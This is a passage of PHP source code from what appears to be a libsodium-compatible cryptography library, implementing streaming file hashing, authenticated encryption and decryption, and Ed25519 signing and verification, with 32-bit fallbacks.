fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($nonce); ParagonIE_Sodium_Compat::memzero($ephKeypair); } catch (SodiumException $ex) { if (isset($ephKeypair)) { unset($ephKeypair); } } return $res; } /** * Calculate the BLAKE2b hash of a file. * * @param string $filePath Absolute path to a file on the filesystem * @param string|null $key BLAKE2b key * @param int $outputLength Length of hash output * * @return string BLAKE2b hash * @throws SodiumException * @throws TypeError * @psalm-suppress FailedTypeResolution */ public static function generichash($filePath, $key = '', $outputLength = 32) { /* Type checks: */ if (!is_string($filePath)) { throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($key)) { if (is_null($key)) { $key = ''; } else { throw new TypeError('Argument 2 must be a string, ' . gettype($key) . ' given.'); } } if (!is_int($outputLength)) { if (!is_numeric($outputLength)) { throw new TypeError('Argument 3 must be an integer, ' . gettype($outputLength) . ' given.'); } $outputLength = (int) $outputLength; } /* Input validation: */ if (!empty($key)) { if (self::strlen($key) < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new TypeError('Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes'); } if (self::strlen($key) > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes'); } } if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN'); } if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength); while ($size > 0) { $blockSize = $size > 64 ? 64 : $size; $read = fread($fp, $blockSize); if (!is_string($read)) { throw new SodiumException('Could not read input file'); } ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read); $size -= $blockSize; } fclose($fp); return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength); } /** * Encrypt a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces * the same result. * * @param string $inputFile Absolute path to a file on the filesystem * @param string $outputFile Absolute path to a file on the filesystem * @param string $nonce Number to be used only once * @param string $key Encryption key * * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox($inputFile, $outputFile, $nonce, $key) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); return $res; } /** * Seal a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces * the same result. * * Warning: Does not protect against TOCTOU attacks. You should * just load the file into memory and use crypto_secretbox_open() if * you are worried about those. * * @param string $inputFile * @param string $outputFile * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox_open($inputFile, $outputFile, $nonce, $key) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($key); } catch (SodiumException $ex) { /** @psalm-suppress PossiblyUndefinedVariable */ unset($key); } return $res; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ public static function sign($filePath, $secretKey) { /* Type checks: */ if (!is_string($filePath)) { throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($secretKey)) { throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.'); } /* Input validation: */ if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) { throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (PHP_INT_SIZE === 4) { return self::sign_core32($filePath, $secretKey); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $nonceHash */ $nonceHash = hash_final($hs, true); /** @var string $pk */ $pk = self::substr($secretKey, 32, 32); /** @var string $nonce */ $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); /** @var string $sig */ $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hramHash */ $hramHash = hash_final($hs, true); /** @var string $hram */ $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash); /** @var string $sigAfter */ $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws TypeError * @throws Exception */ public static function verify($sig, $filePath, $publicKey) { /* Type checks: */ if (!is_string($sig)) { throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.'); } if (!is_string($filePath)) { throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($publicKey)) { throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.'); } /* Input validation: */ if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) { throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes'); } if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if (PHP_INT_SIZE === 4) { return self::verify_core32($sig, $filePath, $publicKey); } /* Security checks */ if ( (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240) && ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32)) ) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * Encrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * @param ParagonIE_Sodium_Core_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify( ParagonIE_Sodium_Core_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; $iter += $incr; } $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * Update a hash context with the contents of a file, without * loading the entire file into memory. * * @param resource|HashContext $hash * @param resource $fp * @param int $size * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2 * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument * PHP 7.2 changes from a resource to an object, * which causes Psalm to complain about an error. * @psalm-suppress TypeCoercion * Ditto. */ public static function updateHashWithFile($hash, $fp, $size = 0) { /* Type checks: */ if (PHP_VERSION_ID < 70200) { if (!is_resource($hash)) { throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.'); } } else { if (!is_object($hash)) { throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.'); } } if (!is_resource($fp)) { throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.'); } if (!is_int($size)) { throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.'); } /** @var int $originalPosition */ $originalPosition = self::ftell($fp); // Move file pointer to beginning of file fseek($fp, 0, SEEK_SET); for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) { /** @var string|bool $message */ $message = fread( $fp, ($size - $i) > self::BUFFER_SIZE ? $size - $i : self::BUFFER_SIZE ); if (!is_string($message)) { throw new SodiumException('Unexpected error reading from file.'); } /** @var string $message */ /** @psalm-suppress InvalidArgument */ self::hash_update($hash, $message); } // Reset file pointer's position fseek($fp, $originalPosition, SEEK_SET); return $hash; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. (32-bit) * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ private static function sign_core32($filePath, $secretKey) { $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $nonceHash = hash_final($hs, true); $pk = self::substr($secretKey, 32, 32); $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $hramHash = hash_final($hs, true); $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash); $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. (32-bit) * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws Exception */ public static function verify_core32($sig, $filePath, $publicKey) { /* Security checks */ if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int|bool $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var int $size */ /** @var resource|bool $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $fp */ /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * Encrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core32_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * One-time message authentication for 32-bit systems * * @param ParagonIE_Sodium_Core32_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify_core32( ParagonIE_Sodium_Core32_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; } $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish()); 